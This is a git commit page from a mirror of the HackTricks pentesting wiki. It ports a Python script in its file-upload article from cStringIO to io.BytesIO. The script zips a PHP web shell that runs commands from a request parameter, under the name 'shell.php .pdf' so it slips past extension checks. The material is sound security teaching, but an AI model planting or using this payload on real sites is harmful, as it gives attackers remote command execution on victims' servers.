mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Merge pull request #710 from kibatche/master
Update file-upload.md / Replace cStringIO by io
This commit is contained in:
commit
d7f82e9005
1 changed files with 2 additions and 4 deletions
|
@ -222,13 +222,11 @@ Sometimes an application will block the loading of a file by checking its extens
|
||||||
We can reuse the previous script to make a zip file.
|
We can reuse the previous script to make a zip file.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python
|
|
||||||
|
|
||||||
import zipfile
|
import zipfile
|
||||||
from cStringIO import StringIO
|
from io import BytesIO
|
||||||
|
|
||||||
def create_zip():
|
def create_zip():
|
||||||
f = StringIO()
|
f = BytesIO()
|
||||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||||
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||||||
z.close()
|
z.close()
|
||||||
|
|
Loading…
Reference in a new issue